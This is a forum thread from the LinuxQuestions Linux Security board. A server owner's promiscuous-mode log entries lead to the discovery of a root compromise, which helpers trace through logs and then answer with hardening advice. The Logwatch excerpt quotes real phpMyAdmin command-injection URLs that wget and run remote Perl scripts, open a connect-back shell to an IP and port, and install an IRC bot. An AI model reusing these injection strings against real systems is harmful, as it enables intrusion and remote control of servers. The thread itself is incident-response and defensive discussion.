LinuxQuestions.org - kernel: device eth0 entered promiscuous mode

- Linux - Security (https://www.linuxquestions.org/questions/linux-security-4/)

- - kernel: device eth0 entered promiscuous mode (https://www.linuxquestions.org/questions/linux-security-4/kernel-device-eth0-entered-promiscuous-mode-756884/)

kernel: device eth0 entered promiscuous mode

Recently I've started getting a lot of entries in /var/log/messages like this:

Sep 21 16:55:08 jimmy kernel: device eth0 entered promiscuous mode
Sep 21 16:55:34 jimmy kernel: device eth0 left promiscuous mode

I haven't changed any configuration on the server, but I did recently end up listed on UCEPROTECT with "portscans or hacking attempts were seen against an UCEPROTECT-System." So, it is possible there has been a system breach (which is why I started poking in the logs and saw these promiscuous entries).

Can somebody help me understand what the promiscuous mode messages are for and the likelihood they relate to a security breach?

TIA,
David

Promiscuous mode is when your ethernet card accepts ALL traffic it receives. It's used when you're running a program like Wireshark to listen to the network (most effective in a hubbed network, or on a mirror port on your switch).

Thanks...I'm not running wireshark or similar--haven't added/changed any software for months, but this notice just started showing up in log.

Moved: Since the OP asks for "the likelihood they relate to a security breach" this thread has been moved to the Linux Security forum in the hope that this thread/question gets more thorough responses than the first reply (meaning actually addressing looking for signs of a compromise).

Quote:

Originally Posted by spaceageliving (Post 3692245)

Code:

Sep 21 16:55:08 jimmy kernel: device eth0 entered promiscuous mode

Sep 21 16:55:34 jimmy kernel: device eth0 left promiscuous mode

I haven't changed any configuration on the server, but I did recently end up listed on UCEPROTECT with "portscans or hacking attempts were seen against an UCEPROTECT-System." So, it is possible there has been a system breach (which is why I started poking in the logs and saw these promiscuous entries).

As explained before promiscuous mode means a packet sniffer instructed your ethernet device to listen to all traffic. This can be a benign or a malicious act, but usually you will know if you run an application that provides you with traffic statistics (say ntop or vnstat) or an IDS (say Snort, Prelude, tcpdump or wireshark) or Something Else (say a DHCP client which isn't promiscuous mode but could be identified as one). Reviewing your installed packages might turn up valid applications that fit the above categories. Else, if an interface is (still) in promiscuous mode (old or new style) then running 'ip link show' will show the "PROMISC" tag and when a sniffer is not hidden then running Chkrootkit or Rootkit Hunter (or both) should show details about applications. If none of the above returns satisfying results then a more thorough inspection of the system is warranted (regardless the time between promisc mode switching as posted above being ridiculously short).

System was breached via root access...taking it offline tonight to scrub it, will be moving to new hw and new centos install shortly. Was planning to upgrade anyway, so this seals the deal. There were a bunch of bad decisions relating to security on this system which need to be addressed in new install.

Attackers installed series of perl scripts in /usr/lib/.a dir which do something linked to a server in germany and also something related to phpmyadmin oddly enough. Somehow in all this there is something to do with the promiscuous mode stuff as well but I'm not advanced enough to figure it out yet.

The probably wanted to see if they could sniff out any unencrpypted information (like passwords) on your lan.

Quote:

Originally Posted by spaceageliving (Post 3693679)

System was breached via root access...taking it offline tonight to scrub it, will be moving to new hw and new centos install shortly. (..) I'm not advanced enough to figure it out yet.

It would be best to figure out what the point of entry was before reformatting the disks and reinstalling the OS. Chances are if you don't you might expose the same vuln again. Besides I'm willing to help and I'm interested to find out how they got in and what they used. If you're interested please hold off the reinstall and let us know.

Logwatch (patched : http://www.linuxquestions.org/blog/u...alarky-2308/):

Code:

 --------------------- httpd Begin ------------------------ 



 Attempts to use known hacks by n hosts were logged n time(s) from:

    nnn.nnn.nnn: n Time(s)

      uname 7 Time(s) 

      tar%20 1 Time(s) 

      cd%20 2 Time(s) 

      perl%20 1 Time(s) 

      wget%20 4 Time(s) 

      rm%20 1 Time(s) 

    nnn.nnn.nnn: n Time(s)

      cd%20 2 Time(s) 

      perl%20 2 Time(s) 

      wget%20 4 Time(s) 

      rm%20 2 Time(s) 

 

 

 A total of n possible successful probes were detected (the following URLs

 contain strings that match one or more of a listing of strings that

 indicate a possible exploit):

 

    /phpMyAdmin///config/config.inc.php?bufu=uname%20-a;id HTTP Response 200 

    /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;rm%20-rf%20font-nix;wget%20somehost/path/font-nix;perl%20font-nix HTTP Response 302 

    /phpMyAdmin///config/config.inc.php?bufu=cd%20/var/tmp;%20wget%20http://somehost/path/dc.pl%20;%20perl%20dc.pl%20147.91.177.216%2037537 HTTP Response 200 

    /phpMyAdmin///config/config.inc.php?bufu=rm%20-rf%20mech.tar HTTP Response 200 

    /phpMyAdmin///config/config.inc.php?bufu=wget%20somehost/path/mech.tar;tar%20xf%20mech.tar;cd%20bot;chmod%20+x%20*;./inst;./start%20sp HTTP Response 200

A tarball is downloaded, installed and the IRC bot is started and the directory named "bot" moved to " " (spaces). mod_security rules could prohibit this and as shown Logwatch can report. A connect back shell is run as the user the webserver account runs as. Since this starts in /var/tmp it should show up looking for current work directory (CWD) that seem out of the ordinary. The shell the Perl script spawns runs without history but the CWD matches that of the parent process so (as long as nothing is obfuscated or hidden) both should be seen running 'lsof -Pwnd cwd|grep '/var/tmp' '. Also note "font-nix" is an IRC bot running as '/usr/local/apache/bin/httpd -DSSL'. Onto some other system logs.

Cron daemon log:

Code:

"crontab[nnnnn]: (apache) REPLACE (apache)"

"crond[nnnnn]: (apache) CMD (/phpMyAdmin/config/bot/update >/dev/null 2>&1)"

Here Apache (which isn't a human user or an account that would by default require a crontab) replaces its own crontab (as if) to run "../config/bot/update" (which definately is not part of phpMyAdmin).

Audit.log:

Code:

type=ANOM_PROMISCUOUS msg=audit(tttttttttt.ttt:ttttttt): dev=eth0 prom=0 old_prom=256 auid=nnnnnnnnnn" type=ANOM_PROMISCUOUS: eth0 promiscuous mode

Showing ethernet device promiscuous mode warning.

Code:

type=SYSCALL msg=audit(tttttttttt.ttt:ttttttt): arch=nnnnnnnn syscall=102 success=yes exit=0 a0=e a1=aaaaaaaa a2=2 a3=4 items=0 ppid=nnnnn pid=nnnnn auid=500 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 comm="ss" exe="/usr/lib/.a/s/ss" key=(null)

Listing an executable being started (likely a scanner) as "/usr/lib/.a/s/ss" by an unprivileged user with UID=500 on /dev/pts/1. Compare with nobody running a cronjob, then both the auid and uid would be the same as in 'getent nobody' and the tty would be "(none)".

Code:

type=USER_CHAUTHTOK msg=audit(tttttttttt.ttt:ttttttt): user pid=nnnnn uid=0 auid=0 msg='op=adding user acct=sshd exe="/usr/sbin/useradd" (hostname=?, addr=?, terminal=pts/3 res=failed)'

Showing the "sshd" user account executing 'useradd' command as root (which failed).

While the above logs don't show an exact timeline or complete overview of cracker activity it shows that reading log reports helps you expose crackers. The machine was torn down by the OP.

Quote:

So the 500 uid is my account on the system (gid=wheel, apache)...I can comprehend how it would be possible to get code executing under the apache user via a poorly coded app or other http exploit by "walking in the front door," so to speak but still not clear how (aside from brute forcing into the account) this bot can execute with another user's id...especially if that "host" user isn't executing anything in the process table at the time of entry. This would require some sort of fork or su step which would be difficult/impossible as the apache user, right?

Following on to this question is the situation with the sshd hack/trojan...it turns out that the sshd was removed/replaced on the system and was logging passwords locally. Again, how does a bot executing as a relatively unprivileged user (with no login, ie. apache/apache) gain enough privilege to zap root privileged items off the system? Can this happen without being root? My understanding is that at some point the process/user would have to obtain root status to achieve this. Just curious...these are both scenarios beyond my understanding of the internals. Call me naive if you will...

Beyond a) greater log analysis and b) better php coding (which both require time/money and therefore are competing with other interests), given the current batch of logs don't indicate the exact point of entry or path to root access of the system (I'm assuming that occurred at some point to achieve the sshd replacement), what steps can be taken that will yield a high probability of this specific attack NOT occurring in the future? It would seem to me that even if one were performing the sort of more rigorous log analysis you suggest, it would be possible to see this sort of advanced warning and still not be able to prevent it precisely?

Quote:

Originally Posted by spaceageliving (Post 3706846)

There's different scenarios here but due to incomplete "evidence" it would only boil down to guesswork. Take for instance a scenario where a user uploads a c99 or r57 shell, if left undetected, they can throw all sorts of exploits at the system, find one that drops a setuid root shell, connect the backdoor and be in. If they cleaned up the dropzone and system logs then finding traces will be hard over time and without proper toolkit.

Quote:

Originally Posted by spaceageliving (Post 3706846)

Following on to this question is the situation with the sshd hack/trojan...it turns out that the sshd was removed/replaced on the system and was logging passwords locally. Again, how does a bot executing as a relatively unprivileged user (with no login, ie. apache/apache) gain enough privilege to zap root privileged items off the system? Can this happen without being root?

No (should be written in capitals). If system binaries that are owned (writable) by root are replaced then this requires root account access. If one would for instance allow root to log in over SSH and also use passwords then a cracker with enough time could bruteforce her way in and would not even require to use an exploit.

Quote:

Originally Posted by spaceageliving (Post 3706846)

Beyond a) greater log analysis and b) better php coding (which both require time/money and therefore are competing with other interests), given the current batch of logs don't indicate the exact point of entry or path to root access of the system (I'm assuming that occurred at some point to achieve the sshd replacement), what steps can be taken that will yield a high probability of this specific attack NOT occurring in the future?

I'd not focus on this particular breach or exploit but on hardening in general or risk losing overview. One additional problem you're facing is that you've already got your replacement system up and hardening a system should be done from the ground up and started at post-installation time. Without going into details right now it will require time and effort. Even with that initial investment security should not be perceived as a "fire and forget" one-off but as a continuous process of auditing, adjusting, taking measures. All I'm saying is be prepared.

Basically what we're looking for is hardening the complete LAMP: first the OS, then networking in general, then the application stack. As my time is short (If you look at RKH's rlog you'll see I haven't even been able to work on RKH the past 5 days) I'll add information layer-wise the coming days. Meanwhile you could check out the LQ FAQ: Security references (or better: the cleaned version at http://rkhunter.wiki.sourceforge.net/SECREF).

Quote:

Originally Posted by spaceageliving (Post 3706846)

It would seem to me that even if one were performing the sort of more rigorous log analysis you suggest, it would be possible to see this sort of advanced warning and still not be able to prevent it precisely?

Yes and no. Sure there'll always be remote kernel and application 0-day vulnerabilities you can't protect from until you've got more nfo but from the incidents I've seen over the years a lot falls in the "oops" category: stalling or neglecting updates, lack of proper access restrictions, no auditing, not removing installation defaults, not using available tools like mod_security et cetera.

Quote:

OK, I think we're getting at the same thing--the point I was trying to make is that in all probability this was a brute force effort due to AllowRootLogin yes in sshd with no other "throttles" in place. An ounce of prevention is worth a boatload of cure in this case...there's a thread on slashdot about this today which basically boils down to: for sshd, no root login, pub key auth only, _especially_ if its a one root user system in question. Major rookie mistake on my part.

Quote:

Agreed..."time and effort" is a relative construct, though...when faced with moving off a known hacked system asap vs. taking time to harden a new one and factoring in time involved, I'd pick the former and work from there with obvious fixes (aka above) in place and improve from there. But I do agree 100% with the "be prepared" sentiment...I'm config'ing fail2ban and will start another tread with questions on this.